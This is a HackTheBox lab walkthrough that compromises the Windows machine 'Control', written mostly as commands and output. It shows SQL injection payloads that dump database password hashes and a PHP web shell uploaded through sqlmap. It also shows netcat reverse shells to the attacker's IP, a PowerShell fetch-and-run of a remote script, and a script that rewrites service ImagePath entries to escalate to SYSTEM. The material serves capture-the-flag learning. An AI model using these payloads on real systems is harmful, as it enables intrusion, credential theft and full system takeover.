Control - HackTheBox
Control is a hard Windows machine from HackTheBox. We'll exploit a SQL injection to get some credentials, upload a PHP file that will get us a reverse shell, use the found credentials to escalate privileges and exploit a ACL to become Administrator.
Information gathering
As always let's start with a port scan:
$ nmap -A -T4 10.10.10.167
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-02 18:42 EST
Nmap scan report for 10.10.10.167
Host is up (0.45s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Fidelity
135/tcp open msrpc Microsoft Windows RPC
3306/tcp open mysql?
| fingerprint-strings:
| FourOhFourRequest, GenericLines, JavaRMI, Kerberos, LANDesk-RC, LDAPSearchReq, LPDString, NULL:
|_ Host '10.10.14.81' is not allowed to connect to this MariaDB server
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.80%I=7%D=12/2%Time=5DE5A197%P=x86_64-pc-linux-gnu%r(NU
SF:LL,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.14\.81'\x20is\x20not\x20allow
SF:ed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(GenericLines
SF:,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.14\.81'\x20is\x20not\x20allowed
SF:\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(Kerberos,4A,"F
SF:\0\0\x01\xffj\x04Host\x20'10\.10\.14\.81'\x20is\x20not\x20allowed\x20to
SF:\x20connect\x20to\x20this\x20MariaDB\x20server")%r(FourOhFourRequest,4A
SF:,"F\0\0\x01\xffj\x04Host\x20'10\.10\.14\.81'\x20is\x20not\x20allowed\x2
SF:0to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(LPDString,4A,"F\0
SF:\0\x01\xffj\x04Host\x20'10\.10\.14\.81'\x20is\x20not\x20allowed\x20to\x
SF:20connect\x20to\x20this\x20MariaDB\x20server")%r(LDAPSearchReq,4A,"F\0\
SF:0\x01\xffj\x04Host\x20'10\.10\.14\.81'\x20is\x20not\x20allowed\x20to\x2
SF:0connect\x20to\x20this\x20MariaDB\x20server")%r(LANDesk-RC,4A,"F\0\0\x0
SF:1\xffj\x04Host\x20'10\.10\.14\.81'\x20is\x20not\x20allowed\x20to\x20con
SF:nect\x20to\x20this\x20MariaDB\x20server")%r(JavaRMI,4A,"F\0\0\x01\xffj\
SF:x04Host\x20'10\.10\.14\.81'\x20is\x20not\x20allowed\x20to\x20connect\x2
SF:0to\x20this\x20MariaDB\x20server");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Ok so we have an HTTP server on port 80 and an exposed MySQL server, which, however, we are not allowed to connect to as we can see from the message:
Host '10.10.14.81' is not allowed to connect to this MariaDB server
Let's check the HTTP server:
The login and admin links on the top navigation bar brings us both to
/admin.php
, but there's an error message on the page:
Proxies add X-Forwarded-For
header to all requests to indicate which client
the request originated from, we could try to bruteforce the correct IP address
but we have no clue about the subnet.
There's not much more to do, except for a newsletter subscription form that does not send data anywhere.
Finding the IP for the proxy header
Inspecting the index source we can find a comment:
<!-- To Do:
- Import Products
- Link to new payment system
- Enable SSL (Certificates location \\192.168.4.28\myfiles)
<!-- Header -->
Looks like we have a subnet now! We can try to find a valid value for the
X-Forwarded-For
header on 192.168.4.0/24
.
Let's write all the IP addresses in the subnet with seq -f '192.168.4.%g' 1 255 > subnet.txt
And now we can use ffuf to try them all:
$ ffuf -c -r -ac -w subnet.txt -H 'X-Forwarded-For: FUZZ' -u http://10.10.10.167/admin.php
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.1.0-git
________________________________________________
:: Method : GET
:: URL : http://10.10.10.167/admin.php
:: Header : X-Forwarded-For: FUZZ
:: Follow redirects : true
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response size: 89
:: Filter : Response words: 15
________________________________________________
192.168.4.28 [Status: 200, Size: 7933, Words: 327, Lines: 154]
:: Progress: [255/255] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
The right IP address is the same one in the HTML comment! I guess I should have tried it first.
Now we can visit the admin page by using Burp to add the header:
And here's the admin page:
We can use the handy Add Custom Header plugin for Burp to automatically add the header on every request:
If we search product '
we get a SQL error:
Error: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''''' at line 1
Exploiting the SQL injection
Now let's search for ' or 1=1 #
Looks like SQL injection to me! Trying to enumerate the number of columns in the
query we find out there are 6 with test' UNION SELECT 1, 2, 3, 4, 5, 6 #
Let's find the database name with test' UNION SELECT database(), 2, 3, 4, 5, 6 #
And now let's find all the tables in the database with test' UNION SELECT GROUP_CONCAT(table_name), 2, 3, 4, 5, 6 FROM information_schema.tables where table_schema='warehouse' #
It looks like there are only products tables. Let's make a step back. Let's see
if we can read MySQL users with test' UNION SELECT user, password, 3, 4, 5, 6 FROM mysql.user #
Cool! We have some hashes! Let's try to crack them with hashcat. I'm using the
rockyou wordlist and the best64
rule set from hashcat: hashcat -m 300 -a0 -r /usr/share/hashcat/rules/best64.rule dbms-hashes.txt rockyou.txt
.
It will take a couple of seconds if you have a GPU. Let's see the results:
$ hashcat -m 300 -a0 dbms-hashes.txt --show
cfe3eee434b38cbf709ad67a4dcdea476cba7fda:l3tm3!n
0e178792e8fc304a2e3133d535d38caf1da3cd9d:l33th4x0rhector
We now have the password for hector
and manager
but we can't get a remote
shell as port 5985 is not open.
Remote command execution
Here I was stuck for a bit but then I remembered that sqlmap has the
--file-write
option that allows to upload files, and given that the server is
vulnerable to SQL injection we can use it!
Let's copy one of the requests body from Burp in a file called post
:
POST /search_products.php HTTP/1.1
Host: 10.10.10.167
Content-Length: 28
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.10.167
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.113 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.10.10.167/admin.php
Accept-Encoding: gzip, deflate
Accept-Language: en,en-US;q=0.9,it-IT;q=0.8,it;q=0.7,la;q=0.6,fr;q=0.5
Connection: close
X-Forwarded-For: 192.168.4.28
productName=test
Let's write the simplest PHP shell:
<?php
echo system($_GET['cmd']);
?>
And upload it:
$ sqlmap -r post --file-dest='C:\inetpub\wwwroot\shell.php' --file-write shell.php
Now we can run commands like:
$ curl 'http://10.10.10.167/shell.php?cmd=whoami'
nt authority\iusr
One interesting thing is that WinRM is listening on port 5985:
$ curl 'http://10.10.10.167/shell.php?cmd=netstat+-ano'
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 816
TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING 1848
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 452
TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 312
TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 952
TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 1684
TCP 0.0.0.0:49668 0.0.0.0:0 LISTENING 584
TCP 0.0.0.0:49669 0.0.0.0:0 LISTENING 592
TCP 10.10.10.167:80 10.10.14.81:47032 ESTABLISHED 4
TCP 10.10.10.167:80 10.10.14.81:47298 CLOSE_WAIT 4
TCP 10.10.10.167:80 10.10.14.81:47300 ESTABLISHED 4
TCP 10.10.10.167:56686 10.10.14.81:1337 ESTABLISHED 4424
TCP [::]:80 [::]:0 LISTENING 4
TCP [::]:135 [::]:0 LISTENING 816
TCP [::]:3306 [::]:0 LISTENING 1848
TCP [::]:5985 [::]:0 LISTENING 4
TCP [::]:47001 [::]:0 LISTENING 4
TCP [::]:49664 [::]:0 LISTENING 452
TCP [::]:49665 [::]:0 LISTENING 312
TCP [::]:49666 [::]:0 LISTENING 952
TCP [::]:49667 [::]:0 LISTENING 1684
TCP [::]:49668 [::]:0 LISTENING 584
TCP [::]:49669 [::]:0 LISTENING 592
UDP 0.0.0.0:123 *:* 1920
UDP 0.0.0.0:5353 *:* 1208
UDP 0.0.0.0:5355 *:* 1208
UDP 0.0.0.0:58660 *:* 1208
UDP 127.0.0.1:51281 *:* 952
UDP [::]:123 *:* 1920
UDP [::]:5353 *:* 1208
UDP [::]:5355 *:* 1208
UDP [::]:58660 *:* 1208
There's probably a firewall blocking external connections to it. A cool tool that I found out while doing this machine is plink, which is basically PuTTY but command line. We can use it to forward the internal port to our machine, but first we have to get a shell.
Forwarding WinRM port using a SSH tunnel
Let's download netcat for Windows and upload it using sqlmap again:
$ sqlmap -r post --file-dest='C:\inetpub\wwwroot\nc64.exe' --file-write nc64.exe
I just omitted the output as it's too long. If it looks stuck just give it some time because the file is a bit big.
Now let's start a netcat listener on our machine with nc -lnvp 1337
and let's
get a reverse shell by making a request to
http://10.10.10.167/shell.php?cmd=nc64.exe+10.10.14.81+1337+-e+powershell.exe
:
$ nc -lnvp 1337
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.10.167.
Ncat: Connection from 10.10.10.167:50612.
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\inetpub\wwwroot>
Now we can use this shell to execute plink
and forward the WinRM port. Let's
upload plink
with:
$ sqlmap -r post --file-dest='C:\inetpub\wwwroot\plink.exe' --file-write plink.exe
This one will really take a long time. One other thing that I could have done is
to download it using a HTTP server on my machine, and something like
Invoke-WebRequest -Uri http://10.10.14.81:1338/plink.exe -OutFile plink.exe
in
the Temp directory, I guess I'm just being lazy.
Now let's forward the port, the syntax is basically the same as the ssh
one:
PS C:\inetpub\wwwroot> ./plink.exe vagrant@10.10.14.81 -R 5985:127.0.0.1:5985
Be aware that you'll have to use your password, so I suggest changing it after using it.
Now we can use the SSH tunnel to try the previously found credentials on WinRM:
$ evil-winrm -i localhost -u hector -p l33th4x0rhector
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Hector\Documents>
And we have a shell! Let's see we can read the flag:
*Evil-WinRM* PS C:\Users\Hector\Desktop> icacls user.txt
user.txt NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
CONTROL\Hector:(F)
Successfully processed 1 files; Failed processing 0 files
Privilege escalation
This step took me multiple days because I don't know much about windows.
While enumerating I found the Powershell history:
*Evil-WinRM* PS C:\Users\Hector\AppData\Roaming\Microsoft\Windows\Powershell\PSReadLine> cat ConsoleHost_history.txt
get-childitem HKLM:\SYSTEM\CurrentControlset | format-list
get-acl HKLM:\SYSTEM\CurrentControlSet | format-list
So let's run those commands:
*Evil-WinRM* PS C:\Users\Hector\Documents> get-childitem HKLM:\SYSTEM\CurrentControlset | format-list
Property : {BootDriverFlags, CurrentUser, EarlyStartServices, PreshutdownOrder...}
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Control
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset
PSChildName : Control
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
PSIsContainer : True
SubKeyCount : 121
View : Default
Handle : Microsoft.Win32.SafeHandles.SafeRegistryHandle
ValueCount : 11
Name : HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Control
Property : {NextParentID.daba3ff.2, NextParentID.61aaa01.3, NextParentID.1bd7f811.4, NextParentID.2032e665.5...}
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Enum
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset
PSChildName : Enum
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
PSIsContainer : True
SubKeyCount : 17
View : Default
Handle : Microsoft.Win32.SafeHandles.SafeRegistryHandle
ValueCount : 27
Name : HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Enum
Property : {}
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Hardware Profiles
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset
PSChildName : Hardware Profiles
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
PSIsContainer : True
SubKeyCount : 3
View : Default
Handle : Microsoft.Win32.SafeHandles.SafeRegistryHandle
ValueCount : 0
Name : HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Hardware Profiles
Property : {}
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Policies
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset
PSChildName : Policies
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
PSIsContainer : True
SubKeyCount : 0
View : Default
Handle : Microsoft.Win32.SafeHandles.SafeRegistryHandle
ValueCount : 0
Name : HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Policies
Property : {}
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset
PSChildName : Services
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
PSIsContainer : True
SubKeyCount : 667
View : Default
Handle : Microsoft.Win32.SafeHandles.SafeRegistryHandle
ValueCount : 0
Name : HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services
Property : {}
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Software
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset
PSChildName : Software
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
PSIsContainer : True
SubKeyCount : 1
View : Default
Handle : Microsoft.Win32.SafeHandles.SafeRegistryHandle
ValueCount : 0
Name : HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Software
*Evil-WinRM* PS C:\Users\Hector\Documents> get-acl HKLM:\SYSTEM\CurrentControlSet | format-list
Path : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet
Owner : BUILTIN\Administrators
Group : NT AUTHORITY\SYSTEM
Access : BUILTIN\Administrators Allow FullControl
NT AUTHORITY\Authenticated Users Allow ReadKey
NT AUTHORITY\Authenticated Users Allow -2147483648
S-1-5-32-549 Allow ReadKey
S-1-5-32-549 Allow -2147483648
BUILTIN\Administrators Allow FullControl
BUILTIN\Administrators Allow 268435456
NT AUTHORITY\SYSTEM Allow FullControl
NT AUTHORITY\SYSTEM Allow 268435456
CREATOR OWNER Allow 268435456
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadKey
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow -2147483648
S-1-15-3-1024-1065365936-1281604716-3511738428-1654721687-432734479-3232135806-4053264122-3456934681 Allow ReadKey
S-1-15-3-1024-1065365936-1281604716-3511738428-1654721687-432734479-3232135806-4053264122-3456934681 Allow -2147483648
Audit :
Sddl : O:BAG:SYD:AI(A;;KA;;;BA)(A;ID;KR;;;AU)(A;CIIOID;GR;;;AU)(A;ID;KR;;;SO)(A;CIIOID;GR;;;SO)(A;ID;KA;;;BA)(A;CIIOID;GA;;;BA)(A;ID;KA;;;SY)(A;CIIOID;GA;;;SY)(A;CIIOID;GA;;;CO)(A;ID;KR;;;AC)(A;CIIOID;GR;;;AC)(A;ID;KR;;;S-1-15-3-1024-1065365936-12
81604716-3511738428-1654721687-432734479-3232135806-4053264122-3456934681)(A;CIIOID;GR;;;S-1-15-3-1024-1065365936-1281604716-3511738428-1654721687-432734479-3232135806-4053264122-3456934681)
SDDL stands for Security Descriptor Definition Language and it's just a way to
define permissions.
Here
is the documentation page that explains how to convert it to a readable format.
Let' do $acl = get-acl HKLM:\SYSTEM\CurrentControlSet\Services
and:
*Evil-WinRM* PS C:\Users\Hector\Documents> ConvertFrom-SddlString -Sddl $acl.Sddl -Type RegistryRights
Owner : NT AUTHORITY\SYSTEM
Group : NT AUTHORITY\SYSTEM
DiscretionaryAcl : {NT AUTHORITY\Authenticated Users: AccessAllowed (EnumerateSubKeys, ExecuteKey, Notify, QueryValues, ReadPermissions), NT AUTHORITY\SYSTEM: AccessAllowed (ChangePermissions, CreateLink, CreateSubKey, Delete, EnumerateSubKeys,
ExecuteKey, FullControl, GenericExecute, GenericWrite, Notify, QueryValues, ReadPermissions, SetValue, TakeOwnership, WriteKey), BUILTIN\Administrators: AccessAllowed (ChangePermissions, CreateLink, CreateSubKey, Delete,
EnumerateSubKeys, ExecuteKey, FullControl, GenericExecute, GenericWrite, Notify, QueryValues, ReadPermissions, SetValue, TakeOwnership, WriteKey), CONTROL\Hector: AccessAllowed (ChangePermissions, CreateLink, CreateSubKey,
Delete, EnumerateSubKeys, ExecuteKey, FullControl, GenericExecute, GenericWrite, Notify, QueryValues, ReadPermissions, SetValue, TakeOwnership, WriteKey)...}
SystemAcl : {}
RawDescriptor : System.Security.AccessControl.CommonSecurityDescriptor
As we can see, Hector has the FullControl permission set, so we can change whatever we want in the registry.
Because I couldn't find the correct service to exploit, I just wrote a script that tries them all (I know, it's not the correct way to go, I have no excuse for that).
This is the script, I called it brute.ps1
:
$services = Get-ItemProperty HKLM:\System\CurrentControlset\Services\* | where { ($_.ObjectName -match 'LocalSystem') }
ForEach ($service in $services)
{
$name = $service.PSChildName
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\$name" -Name ImagePath -Value "C:\inetpub\wwwroot\nc64.exe 10.10.14.81 1338 -e powershell.exe"
Start-Service $name
}
It basically filters services running as Administrator and tries to change the
value for the ImagePath
field to a netcat reverse shell.
Let's run it with IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.81:1339/brute.ps1')
, and after a
second we should get a shell on our listener:
$ nc -lnvp 1338
listening on [any] 1338 ...
connect to [10.10.14.81] from (UNKNOWN) [10.10.10.167] 50422
Microsoft Windows [Version 10.0.17763.805]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
Let's check if we can read the flag:
C:\Windows\system32>icacls C:\Users\Administrator\Desktop\root.txt
C:\Users\Administrator\Desktop\root.txt NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
CONTROL\Administrator:(I)(F)
Successfully processed 1 files; Failed processing 0 files
Wow that was quite a journey. Here are some articles that I found quite useful:
I can't wait to see IppSec's writeup about this machine!